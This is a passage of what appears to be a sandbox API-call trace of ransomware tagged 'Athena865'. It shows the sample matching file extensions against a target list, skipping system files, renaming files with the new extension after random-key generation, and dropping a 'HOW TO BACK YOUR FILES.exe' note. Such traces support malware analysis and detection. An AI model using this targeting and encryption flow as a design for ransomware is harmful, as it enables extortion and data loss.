[0118.182] lstrlenW (lpString="vis") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="vis") returned -1 [0118.182] lstrlenW (lpString="vpd") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="vpd") returned -1 [0118.182] lstrlenW (lpString="vvv") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="vvv") returned -1 [0118.182] lstrlenW (lpString="wdb") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="wdb") returned -1 [0118.182] lstrlenW (lpString="wmdb") returned 4 [0118.182] lstrcmpiW (lpString1=".inc", lpString2="wmdb") returned -1 [0118.182] lstrlenW (lpString="wrk") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="wrk") returned -1 [0118.182] lstrlenW (lpString="xdb") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="xdb") returned -1 [0118.182] lstrlenW (lpString="xld") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="xld") returned -1 [0118.182] lstrlenW (lpString="xmlff") returned 5 [0118.182] lstrcmpiW (lpString1="s.inc", lpString2="xmlff") returned -1 [0118.182] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.Athena865") returned 63 [0118.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.athena865"), dwFlags=0x1) returned 1 [0118.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14610) returned 1 [0118.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.185] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.186] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.186] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.186] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c20, lpName=0x0) returned 0x154 [0118.189] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c20) returned 0x100000 [0118.190] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.191] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.191] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.192] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.192] CloseHandle (hObject=0x154) returned 1 [0118.192] CloseHandle (hObject=0x17c) returned 1 [0118.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.193] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2=".") returned 1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="..") returned 1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="windows") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="bootmgr") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="temp") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="pagefile.sys") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="boot") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="ids.txt") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="ntuser.dat") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="perflogs") returned -1 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2="MSBuild") returned -1 [0118.193] lstrlenW (lpString="adovbs.inc") returned 10 [0118.193] lstrcpyW (in: lpString1=0x241e89a, lpString2="adovbs.inc" | out: lpString1="adovbs.inc") returned="adovbs.inc" [0118.193] lstrlenW (lpString="adovbs.inc") returned 10 [0118.193] lstrlenW (lpString="Athena865") returned 9 [0118.193] lstrcmpiW (lpString1="dovbs.inc", lpString2="Athena865") returned 1 [0118.193] lstrlenW (lpString=".dll") returned 4 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2=".dll") returned 1 [0118.193] lstrlenW (lpString=".lnk") returned 4 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2=".lnk") returned 1 [0118.193] lstrlenW (lpString=".ini") returned 4 [0118.193] lstrcmpiW (lpString1="adovbs.inc", lpString2=".ini") returned 1 [0118.194] lstrlenW (lpString=".sys") returned 4 [0118.194] lstrcmpiW (lpString1="adovbs.inc", lpString2=".sys") returned 1 [0118.194] lstrlenW (lpString="adovbs.inc") returned 10 [0118.194] lstrlenW (lpString="bak") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="bak") returned 1 [0118.194] lstrlenW (lpString="ba_") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="ba_") returned 1 [0118.194] lstrlenW (lpString="dbb") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="dbb") returned 1 [0118.194] lstrlenW (lpString="vmdk") returned 4 [0118.194] lstrcmpiW (lpString1=".inc", lpString2="vmdk") returned -1 [0118.194] lstrlenW (lpString="rar") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="rar") returned -1 [0118.194] lstrlenW (lpString="zip") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="zip") returned -1 [0118.194] lstrlenW (lpString="tgz") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="tgz") returned -1 [0118.194] lstrlenW (lpString="vbox") returned 4 [0118.194] lstrcmpiW (lpString1=".inc", lpString2="vbox") returned -1 [0118.194] lstrlenW (lpString="vdi") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="vdi") returned -1 [0118.194] lstrlenW (lpString="vhd") returned 3 [0118.194] lstrcmpiW (lpString1="inc", lpString2="vhd") returned -1 [0118.194] lstrlenW (lpString="vhdx") returned 4 [0118.194] lstrcmpiW (lpString1=".inc", lpString2="vhdx") returned -1 [0118.194] lstrlenW (lpString="avhd") returned 4 [0118.194] lstrcmpiW (lpString1=".inc", lpString2="avhd") returned -1 [0118.194] lstrlenW (lpString="db") returned 2 [0118.195] lstrcmpiW (lpString1="nc", lpString2="db") returned 1 [0118.195] lstrlenW (lpString="db2") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="db2") returned 1 [0118.195] lstrlenW (lpString="db3") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="db3") returned 1 [0118.195] lstrlenW (lpString="dbf") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="dbf") returned 1 [0118.195] lstrlenW (lpString="mdf") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="mdf") returned -1 [0118.195] lstrlenW (lpString="mdb") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="mdb") returned -1 [0118.195] lstrlenW (lpString="sql") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="sql") returned -1 [0118.195] lstrlenW (lpString="sqlite") returned 6 [0118.195] lstrcmpiW (lpString1="bs.inc", lpString2="sqlite") returned -1 [0118.195] lstrlenW (lpString="sqlite3") returned 7 [0118.195] lstrcmpiW (lpString1="vbs.inc", lpString2="sqlite3") returned 1 [0118.195] lstrlenW (lpString="sqlitedb") returned 8 [0118.195] lstrcmpiW (lpString1="ovbs.inc", lpString2="sqlitedb") returned -1 [0118.195] lstrlenW (lpString="xml") returned 3 [0118.195] lstrcmpiW (lpString1="inc", lpString2="xml") returned -1 [0118.195] lstrlenW (lpString="$er") returned 3 [0118.197] lstrcmpiW (lpString1="inc", lpString2="$er") returned 1 [0118.197] lstrlenW (lpString="4dd") returned 3 [0118.197] lstrcmpiW (lpString1="inc", lpString2="4dd") returned 1 [0118.197] lstrlenW (lpString="4dl") returned 3 [0118.197] lstrcmpiW (lpString1="inc", lpString2="4dl") returned 1 [0118.197] lstrlenW (lpString="^^^") returned 3 [0118.197] lstrcmpiW (lpString1="inc", lpString2="^^^") returned 1 [0118.197] lstrlenW (lpString="abs") returned 3 [0118.197] lstrcmpiW (lpString1="inc", lpString2="abs") returned 1 [0118.197] lstrlenW (lpString="abx") returned 3 [0118.197] lstrcmpiW (lpString1="inc", lpString2="abx") returned 1 [0118.197] lstrlenW (lpString="accdb") returned 5 [0118.197] lstrcmpiW (lpString1="s.inc", lpString2="accdb") returned 1 [0118.197] lstrlenW (lpString="accdc") returned 5 [0118.197] lstrcmpiW (lpString1="s.inc", lpString2="accdc") returned 1 [0118.197] lstrlenW (lpString="accde") returned 5 [0118.197] lstrcmpiW (lpString1="s.inc", lpString2="accde") returned 1 [0118.197] lstrlenW (lpString="accdr") returned 5 [0118.197] lstrcmpiW (lpString1="s.inc", lpString2="accdr") returned 1 [0118.197] lstrlenW (lpString="accdt") returned 5 [0118.197] lstrcmpiW (lpString1="s.inc", lpString2="accdt") returned 1 [0118.197] lstrlenW (lpString="accdw") returned 5 [0118.198] lstrcmpiW (lpString1="s.inc", lpString2="accdw") returned 1 [0118.198] lstrlenW (lpString="accft") returned 5 [0118.198] lstrcmpiW (lpString1="s.inc", lpString2="accft") returned 1 [0118.198] lstrlenW (lpString="adb") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.198] lstrlenW (lpString="adb") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.198] lstrlenW (lpString="ade") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="ade") returned 1 [0118.198] lstrlenW (lpString="adf") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="adf") returned 1 [0118.198] lstrlenW (lpString="adn") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="adn") returned 1 [0118.198] lstrlenW (lpString="adp") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="adp") returned 1 [0118.198] lstrlenW (lpString="alf") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="alf") returned 1 [0118.198] lstrlenW (lpString="ask") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="ask") returned 1 [0118.198] lstrlenW (lpString="btr") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="btr") returned 1 [0118.198] lstrlenW (lpString="cat") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="cat") returned 1 [0118.198] lstrlenW (lpString="cdb") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="cdb") returned 1 [0118.198] lstrlenW (lpString="ckp") returned 3 [0118.198] lstrcmpiW (lpString1="inc", lpString2="ckp") returned 1 [0118.198] lstrlenW (lpString="cma") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="cma") returned 1 [0118.199] lstrlenW (lpString="cpd") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="cpd") returned 1 [0118.199] lstrlenW (lpString="dacpac") returned 6 [0118.199] lstrcmpiW (lpString1="bs.inc", lpString2="dacpac") returned -1 [0118.199] lstrlenW (lpString="dad") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dad") returned 1 [0118.199] lstrlenW (lpString="dadiagrams") returned 10 [0118.199] lstrlenW (lpString="daschema") returned 8 [0118.199] lstrcmpiW (lpString1="ovbs.inc", lpString2="daschema") returned 1 [0118.199] lstrlenW (lpString="db-journal") returned 10 [0118.199] lstrlenW (lpString="db-shm") returned 6 [0118.199] lstrcmpiW (lpString1="bs.inc", lpString2="db-shm") returned -1 [0118.199] lstrlenW (lpString="db-wal") returned 6 [0118.199] lstrcmpiW (lpString1="bs.inc", lpString2="db-wal") returned -1 [0118.199] lstrlenW (lpString="dbc") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dbc") returned 1 [0118.199] lstrlenW (lpString="dbs") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dbs") returned 1 [0118.199] lstrlenW (lpString="dbt") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dbt") returned 1 [0118.199] lstrlenW (lpString="dbv") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dbv") returned 1 [0118.199] lstrlenW (lpString="dbx") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dbx") returned 1 [0118.199] lstrlenW (lpString="dcb") returned 3 [0118.199] lstrcmpiW (lpString1="inc", lpString2="dcb") returned 1 [0118.200] lstrcmpiW (lpString1="inc", lpString2="dct") returned 1 [0118.200] lstrcmpiW (lpString1="inc", lpString2="dcx") returned 1 [0118.200] lstrcmpiW (lpString1="inc", lpString2="ddl") returned 1 [0118.200] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.Athena865") returned 61 [0118.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.athena865"), dwFlags=0x1) returned 1 [0118.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.201] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14951) returned 1 [0118.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.202] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.202] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.202] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d70, lpName=0x0) returned 0x154 [0118.204] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d70) returned 0x100000 [0118.205] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.206] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.206] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.206] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.207] CloseHandle (hObject=0x154) returned 1 [0118.207] CloseHandle (hObject=0x17c) returned 1 [0118.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.207] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0118.207] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0118.207] lstrlenW (lpString="en-US") returned 5 [0118.207] lstrcpyW (in: lpString1=0x241e89a, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0118.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6e8 [0118.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b2c8 [0118.208] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0118.208] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0118.208] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.210] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce172a60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce172a60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.210] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.210] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2=".") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="..") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="windows") returned -1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="bootmgr") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="temp") returned -1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="pagefile.sys") returned -1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="boot") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="ids.txt") returned 1 [0118.210] lstrcmpiW (lpString1="msader15.dll", lpString2="ntuser.dat") returned -1 [0118.211] lstrcmpiW (lpString1="msader15.dll", lpString2="perflogs") returned -1 [0118.211] lstrcmpiW (lpString1="msader15.dll", lpString2="MSBuild") returned -1 [0118.211] lstrlenW (lpString="msader15.dll") returned 12 [0118.211] lstrcpyW (in: lpString1=0x241e89a, lpString2="msader15.dll" | out: lpString1="msader15.dll") returned="msader15.dll" [0118.211] lstrlenW (lpString="msader15.dll") returned 12 [0118.211] lstrlenW (lpString="Athena865") returned 9 [0118.211] lstrcmpiW (lpString1="der15.dll", lpString2="Athena865") returned 1 [0118.211] lstrlenW (lpString=".dll") returned 4 [0118.211] lstrcmpiW (lpString1="msader15.dll", lpString2=".dll") returned 1 [0118.211] lstrlenW (lpString=".lnk") returned 4 [0118.211] lstrcmpiW (lpString1="msader15.dll", lpString2=".lnk") returned 1 [0118.211] lstrlenW (lpString=".ini") returned 4 [0118.211] lstrcmpiW (lpString1="msader15.dll", lpString2=".ini") returned 1 [0118.211] lstrlenW (lpString=".sys") returned 4 [0118.211] lstrcmpiW (lpString1="msader15.dll", lpString2=".sys") returned 1 [0118.211] lstrlenW (lpString="msader15.dll") returned 12 [0118.211] lstrlenW (lpString="bak") returned 3 [0118.211] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.211] lstrlenW (lpString="ba_") returned 3 [0118.211] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.211] lstrlenW (lpString="dbb") returned 3 [0118.211] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.211] lstrlenW (lpString="vmdk") returned 4 [0118.211] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.211] lstrlenW (lpString="rar") returned 3 [0118.211] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.211] lstrlenW (lpString="zip") returned 3 [0118.211] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.211] lstrlenW (lpString="tgz") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.212] lstrlenW (lpString="vbox") returned 4 [0118.212] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.212] lstrlenW (lpString="vdi") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.212] lstrlenW (lpString="vhd") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.212] lstrlenW (lpString="vhdx") returned 4 [0118.212] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.212] lstrlenW (lpString="avhd") returned 4 [0118.212] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.212] lstrlenW (lpString="db") returned 2 [0118.212] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.212] lstrlenW (lpString="db2") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.212] lstrlenW (lpString="db3") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.212] lstrlenW (lpString="dbf") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.212] lstrlenW (lpString="mdf") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.212] lstrlenW (lpString="mdb") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.212] lstrlenW (lpString="sql") returned 3 [0118.212] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.212] lstrlenW (lpString="sqlite") returned 6 [0118.212] lstrcmpiW (lpString1="15.dll", lpString2="sqlite") returned -1 [0118.212] lstrlenW (lpString="sqlite3") returned 7 [0118.212] lstrcmpiW (lpString1="r15.dll", lpString2="sqlite3") returned -1 [0118.212] lstrlenW (lpString="sqlitedb") returned 8 